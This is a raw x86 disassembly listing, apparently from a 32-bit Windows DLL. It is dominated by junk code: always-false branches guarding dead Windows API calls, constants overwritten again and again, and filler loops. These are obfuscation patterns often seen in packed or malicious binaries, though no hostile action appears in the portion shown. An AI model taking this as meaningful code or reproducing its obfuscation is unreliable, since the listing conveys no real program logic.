mov dword [eax], esi
mov eax, dword [ebp - 0x10]
dec dword [ebp - 0x40]
jns 0x10033daa
xor eax, eax
or esi, 0xffffffff
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033df1
push 0x1fed
push eax
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10033d9f
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033e07
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x10033d90
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], edi
jle 0x10033d81
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff4
jge 0x10033d76
lea ecx, [ebp - 0x978]
mov dword [ebp - 4], esi
call fcn.10018550
mov dword [ebp - 0x38], 0x1fc3eee2
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x20], 0x64fef537
push 0xfffffffffffffffc
mov dword [ebp - 0x3c], 0xe43c7d75
pop edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10033e73
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x64], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10033e62
xor eax, eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], edx
jne 0x100340b4
push 3
pop esi
or ecx, 0xffffffff
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], 0x6a0122d8
mov dword [ebp - 0x38], 0xa103363
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x10], 0x1d925b0e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffff0
jl 0x100340a8
mov dword [ebp - 0x18], 0x5faafe30
mov dword [ebp - 0x38], 0xfad0d727
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
jge 0x10033efe
push 6
pop ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x4f8], ecx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10033eea
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10034098
movdqa xmm0, xmmword [0x10007c50]
lea eax, [ebp - 0x1244]
push eax
lea eax, [ebp - 0x1254]
push eax
lea ecx, [ebp - 0x1624]
movdqu xmmword [ebp - 0x1254], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x282]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x354]
push dword [esi]
call fcn.1001852a
push 3
pop esi
or eax, 0xffffffff
mov dword [ebp - 4], 0xd
push esi
lea ecx, [ebp - 0x354]
mov dword [ebp - 0x38], eax
call fcn.1001856c
push esi
lea ecx, [ebp - 0x354]
and dword [eax], 0
call fcn.1001856c
jmp 0x1003406b
or eax, 0xffffffff
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10033f98
mov esi, eax
cmp dword [ebp - 0x4f4], eax
je 0x10033f9a
mov esi, edi
push 3
lea ecx, [ebp - 0x354]
call fcn.1001856c
xor ebx, ebx
lea ecx, [ebp - 0x354]
push 3
cmp esi, dword [eax]
setle bl
inc ebx
neg ebx
sbb ebx, ebx
inc ebx
call fcn.1001856c
mov ecx, dword [ebp - 0x4f0]
xor edx, edx
cmp ecx, ebx
setle dl
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x18]
setge cl
mov eax, dword [ebp + eax*4 - 0x4f8]
add eax, ecx
mov dword [ebp - 0x44], eax
je 0x10033ff7
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4f8], 0
je 0x10033ff7
mov esi, edi
jmp 0x10033ffb
xor eax, eax
mov esi, eax
push 3
lea ecx, [ebp - 0x354]
call fcn.1001856c
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
push 3
mov ecx, dword [ebp + ecx*4 - 0x4f8]
imul ecx, dword [eax]
mov eax, dword [ebp - 0x4f8]
sub esi, eax
cmp ecx, esi
lea ecx, [ebp - 0x354]
pop esi
push esi
setle bl
call fcn.1001856c
mov ecx, dword [ebp - 0x18]
xor edx, edx
push esi
mov ecx, dword [ebp + ecx*4 - 0x4f8]
cmp ebx, ecx
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x354]
call fcn.1001856c
push esi
lea ecx, [ebp - 0x354]
inc dword [eax]
call fcn.1001856c
push 2
pop ebx
cmp dword [eax], ebx
jle 0x10033f81
inc dword [ebp - 0x34]
lea ecx, [ebp - 0x354]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10018550
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10033f0a
push 0xfffffffffffffffc
xor eax, eax
pop edx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff0
jge 0x10033ebe
or ecx, 0xffffffff
dec dword [ebp - 0x64]
cmp dword [ebp - 0x64], edx
je 0x10033e85
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x990]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x64]
neg eax
push 3
sbb eax, eax
neg eax
mov dword [ebp - 0x64], eax
pop esi
mov dword [ebp - 0x38], 0xf7d65121
mov dword [ebp - 0x2c], edi
push esi
call fcn.100184ce
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x44], 0xdfb
push 6
mov dword [ebp - 0x4c], 0xff16ce65
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10034131
push dword [ebp - 0x24]
lea ecx, [ebp - 0x990]
call fcn.1001856c
mov dword [eax], 0xd421
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10034113
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10034151
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x568], 0xc63b8821
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10034139
xor eax, eax
mov dword [ebp - 0x2c], 0xa8eac8b
mov dword [ebp - 0x2c], 0x12
cmp dword [ebp - 0x2c], 0x11
jg 0x1003437d
jmp 0x1003416d
xor eax, eax
movdqa xmm0, xmmword [0x10007be0]
lea ecx, [ebp - 0x157c]
mov dword [ebp - 0x24], 0xe948
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x1344]
push eax
lea eax, [ebp - 0x1354]
push eax
movdqu xmmword [ebp - 0x1354], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x24a]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xefc]
push dword [esi]
call fcn.1001852a
xor eax, eax
mov byte [ebp - 4], 0xf
push 4
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x100341e7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1274], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100341cf
xor eax, eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x1003435e
jmp 0x100341fa
xor eax, eax
mov dword [ebp - 0x34], 0xfd0fe1f2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034221
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7bc], 0xf51b4373
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034209
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10034241
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x778], 0x1ce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10034229
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10034272
push 0x2631
push 0x1319
push 0x1014
push 0x1272
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
mov eax, dword [ebp - 0x24]
sub eax, 0xd79339b8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1274], eax
mov dword [ebp - 0x568], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], 0xd7c3b7c3
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1274]
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
add eax, 0xa9cb
jne 0x100342ba
mov eax, dword [ebp - 0x568]
mov eax, dword [ebp - 0x7bc]
lea ecx, [ebp - 0x990]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7bc]
mov eax, dword [ebp - 0x778]
mov eax, dword [ebp - 0x7bc]
push dword [ebp - 0x24]
call fcn.1001856c
push dword [ebp - 0x24]
lea ecx, [ebp - 0x990]
mov edi, eax
call fcn.1001856c
mov ecx, dword [eax]
xor eax, eax
mov dword [edi], ecx
lea ecx, [ebp - 0xefc]
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x568]
mov esi, eax
or eax, 0xffffffff
cmp eax, ecx
push 1
sbb ecx, ecx
xor eax, eax
lea edx, [ecx - 0xfff5]
mov ecx, dword [ebp - 0x44]
cmp edx, ecx
setl al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp dword [edi], ecx
pop edi
setge al
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x24]
push 4
pop esi
cmp dword [ebp - 0x24], ebx
jle 0x100341f8
lea ecx, [ebp - 0xefc]
mov byte [ebp - 4], 0xe
call fcn.10018550
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x11
jle 0x1003416b
push 3
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x990]
mov dword [ebp - 4], eax
call fcn.10018550
mov dword [ebp - 0x38], 0x9d94b4b1
lea ecx, [ebp - 0xb18]
mov dword [ebp - 0x4c], ebx
push esi
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100343d2
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb18]
call fcn.1001856c
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100343b5
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100343f7
push 0x2486
push 0x25a5
push 0x1288
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push edi
lea ecx, [ebp - 0xb18]
call fcn.1001856c
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
or eax, 0xffffffff
lea ecx, [ebp - 0xb18]
mov dword [ebp - 4], eax
call fcn.10018550
mov dword [ebp - 0x38], 0xf1eb32a8
lea ecx, [ebp - 0xb30]
push esi
call fcn.100184ce
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0xcc8]
mov dword [ebp - 0x38], 0x759951ea
push ebx
call fcn.100184ce
mov byte [ebp - 4], 0x12
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0xb2c593c8
xor eax, eax
mov dword [ebp - 0x4c], 0x5cd1d2a6
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10034489
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb30]
call fcn.1001856c
mov dword [eax], 0x7f825e7a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034468
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100344a9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x258], 0x87013dce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034491
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100344ce
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcc8]
call fcn.1001856c
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100344b1
xor eax, eax
mov dword [ebp - 0x254], ebx
cmp dword [ebp - 0x254], eax
jl 0x100345dc
jmp 0x100344e4
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x38], 0x68be135e
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], ecx
push 8
pop ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x1094]
mov dword [ebp - 0x3c], eax
push esi
call fcn.100184ce
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003453d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1480], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10034529
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10034559
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1094]
call fcn.1001856c
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10034542
dec dword [ebp - 0x34]
lea ecx, [ebp - 0xb30]
push dword [ebp - 0x254]
call fcn.1001856c
mov ecx, dword [ebp - 0x44]
add ecx, dword [eax]
dec dword [ebp - 0x44]
test ecx, ecx
je 0x10034582
mov esi, edi
jmp 0x10034586
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0xcc8]
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x254]
mov edx, dword [ebp - 0x254]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x1478]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, esi
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1094]
mov byte [ebp - 4], 0x12
call fcn.10018550
dec dword [ebp - 0x254]
push 3
pop esi
push 0xffffffffffffffff
pop ecx
jns 0x100344e2
lea ecx, [ebp - 0xcc8]
call fcn.10018550
or eax, 0xffffffff
lea ecx, [ebp - 0xb30]
mov dword [ebp - 4], eax
call fcn.10018550
or eax, 0xffffffff
lea ecx, [ebp - 0x774]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0x7d670012
push esi
call fcn.100184ce
push 4
pop eax
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x67c]
mov dword [ebp - 0x44], 0x1465
push eax
call fcn.100184ce
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003465a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x774]
call fcn.1001856c
mov dword [eax], 0x11b9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003463c
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10034686
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x67c]
call fcn.1001856c
push 4
mov dword [eax], 0x72327932
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10034665
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003468e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x774]
mov eax, dword [ebp - 0x24]
push edi
call fcn.1001856c
imul ecx, dword [ebp - 0x24], 0xffff
push ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x774]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
call fcn.1001856c
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x67c]
push ebx
call fcn.1001856c
push edi
lea ecx, [ebp - 0x774]
call fcn.1001856c
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x67c]
push esi
call fcn.1001856c
xor ebx, ebx
lea ecx, [ebp - 0x67c]
push esi
cmp dword [eax], edi
setle bl
call fcn.1001856c
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ebx, ecx
mov esi, eax
setge dl
xor eax, eax
cmp edx, 0xbc41
setge al
xor ecx, ecx
cmp eax, dword [esi]
setge cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x67c]
call fcn.10018550
or edi, 0xffffffff
lea ecx, [ebp - 0x774]
mov dword [ebp - 4], edi
call fcn.10018550
xor ebx, ebx
lea ecx, [ebp - 0x694]
xor eax, eax
inc ebx
mov dword [ebp - 0x38], eax
push ebx
call fcn.100184ce
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0x5c62e089
mov dword [ebp - 0x34], 0xbe26b5cf
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003479b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x694]
call fcn.1001856c
mov dword [eax], 0x60f57a7c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003477d
xor eax, eax
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x100347be
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11dc], 0x5c2dd78f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x100347a6
xor eax, eax
push eax
lea ecx, [ebp - 0x694]
call fcn.1001856c
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x24c0
cmp dword [ebp - 0x2c], eax
jne 0x100348b8
mov esi, dword [ebp - 0x2c]
lea ecx, [ebp - 0x694]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.1001856c
cmp esi, dword [eax]
je 0x100348b6
mov dword [ebp - 0x44], 0x98c245e3
lea ecx, [ebp - 0x9a8]
mov dword [ebp - 0x20], edi
push 2
call fcn.100184ce
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x34], 0x5493a50e
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x10], eax
jmp 0x10034845
push dword [ebp - 0x10]
call fcn.1001856c
mov dword [eax], 0x7067d5b4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
lea ecx, [ebp - 0x9a8]
jl 0x10034834
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x11d4]
neg esi
push ebx
sbb esi, esi
inc esi
call fcn.1001856c
cmp dword [ebp - 0x20], 0xb1ec6c04
sbb ecx, ecx
xor edx, edx
inc ecx
cmp edx, ecx
sbb ecx, ecx
neg ecx
cmp esi, ecx
lea ecx, [ebp - 0x9a8]
setle dl
mov dword [eax], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
xor eax, eax
push eax
call fcn.1001856c
lea ecx, [ebp - 0x9a8]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
call fcn.10018550
jmp 0x1003494c
xor eax, eax
mov dword [ebp - 0x10], 0x66fe
lea ecx, [ebp - 0x694]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xc1477a14
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001856c
mov eax, dword [ebp - 0x11d0]
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1003491f
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
xor ecx, ecx
cmp eax, 0x8009
setle cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x11d0]
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10034942
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003494c
push eax
push 0x1f0e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x1003494c
mov dword [ebp - 0x34], 0x6d9e96b
inc dword [ebp - 0x34]
lea ecx, [ebp - 0x694]
mov dword [ebp - 4], edi
call fcn.10018550
push 2
pop esi
mov dword [ebp - 0x38], 0x7858
lea ecx, [ebp - 0xf14]
push esi
call fcn.100184ce
push 4
mov dword [ebp - 4], 0x18
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100349a5
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf14]
call fcn.1001856c
mov dword [eax], 0x9b55bb2c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10034987
xor eax, eax
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x100349f8
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100349c3
push 0x789
call dword [sym.imp.USER32.dll_GetKeyState]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100349f3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x2003
push 0x20b2
push 0x1438
push 0x9a3
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x100349ad
lea ecx, [ebp - 0xf14]
mov dword [ebp - 4], edi
call fcn.10018550
push 6
pop eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 0x2c], ebx
push 3
call fcn.100184ce
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x44], 0xdfb
push 6
mov dword [ebp - 0x4c], 0xff16ce65
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10034a61
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9c0]
call fcn.1001856c
mov dword [eax], 0xd421
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10034a42
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10034a81
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x580], 0xc63b8821
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10034a69
xor eax, eax
mov dword [ebp - 0x2c], 0xa8eac8b
mov dword [ebp - 0x2c], 0x12
cmp dword [ebp - 0x2c], 0x11
jg 0x10034cb0
push 4
pop edi
jmp 0x10034aa0
xor eax, eax
movdqa xmm0, xmmword [0x10007be0]
lea ecx, [ebp - 0x15dc]
mov dword [ebp - 0x24], 0xe948
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x13c4]
push eax
lea eax, [ebp - 0x13d4]
push eax
movdqu xmmword [ebp - 0x13d4], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x2bd]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1204]
push dword [esi]
call fcn.1001852a
xor eax, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10034b17
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1294], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10034aff
xor eax, eax
dec dword [ebp - 0x24]
push 2
mov dword [ebp - 0x24], eax
pop esi
cmp dword [ebp - 0x24], esi
jg 0x10034c91
jmp 0x10034b2d
xor eax, eax
mov dword [ebp - 0x34], 0xfd0fe1f2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10034b54
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7cc], 0xf51b4373
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034b3c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034b74
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x764], 0x1ce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034b5c
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10034ba5
push 0x2631
push 0x1319
push 0x1014
push 0x1272
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
mov eax, dword [ebp - 0x24]
sub eax, 0xd79339b8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1294], eax
mov dword [ebp - 0x580], edi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], 0xd7c3b7c3
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1294]
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
add eax, 0xa9cb
jne 0x10034bed
mov eax, dword [ebp - 0x580]
mov eax, dword [ebp - 0x7cc]
lea ecx, [ebp - 0x9c0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x764]
mov eax, dword [ebp - 0x7cc]
push dword [ebp - 0x24]
call fcn.1001856c
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9c0]
mov edi, eax
call fcn.1001856c
mov ecx, dword [eax]
xor eax, eax
mov dword [edi], ecx
lea ecx, [ebp - 0x1204]
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x580]
mov esi, eax
or eax, 0xffffffff
cmp eax, ecx
push 2
sbb ecx, ecx
xor eax, eax
lea edx, [ecx - 0xfff5]
mov ecx, dword [ebp - 0x44]
cmp edx, ecx
setl al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
pop esi
sete dl
xor ecx, ecx
cmp edx, eax
push 4
setne cl
xor eax, eax
cmp dword [edi], ecx
pop edi
setge al
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10034b2b
lea ecx, [ebp - 0x1204]
mov byte [ebp - 4], 0x19
call fcn.10018550
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x11
jle 0x10034a9e
or edi, 0xffffffff
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 4], edi
call fcn.10018550
mov dword [ebp - 0x38], 0x90c54408
lea ecx, [ebp - 0xf2c]
push esi
call fcn.100184ce
mov dword [ebp - 4], 0x1b
mov eax, 0x7a3a11c1
mov dword [ebp - 0x38], 0xe5ccc90a
mov dword [ebp - 0x38], 0x2a4f402e
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x498e
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
jmp 0x10034d2b
push dword [ebp - 0x10]
call fcn.1001856c
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xf2c]
cmp dword [ebp - 0x10], esi
jl 0x10034d1a
inc dword [ebp - 0x34]
mov dword [ebp - 4], edi
call fcn.10018550
xor eax, eax
mov dword [ebp - 0x38], 0x55f07c70
push 4
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x7d8]
pop eax
push eax
call fcn.100184ce
mov dword [ebp - 4], 0x1c
xor eax, eax
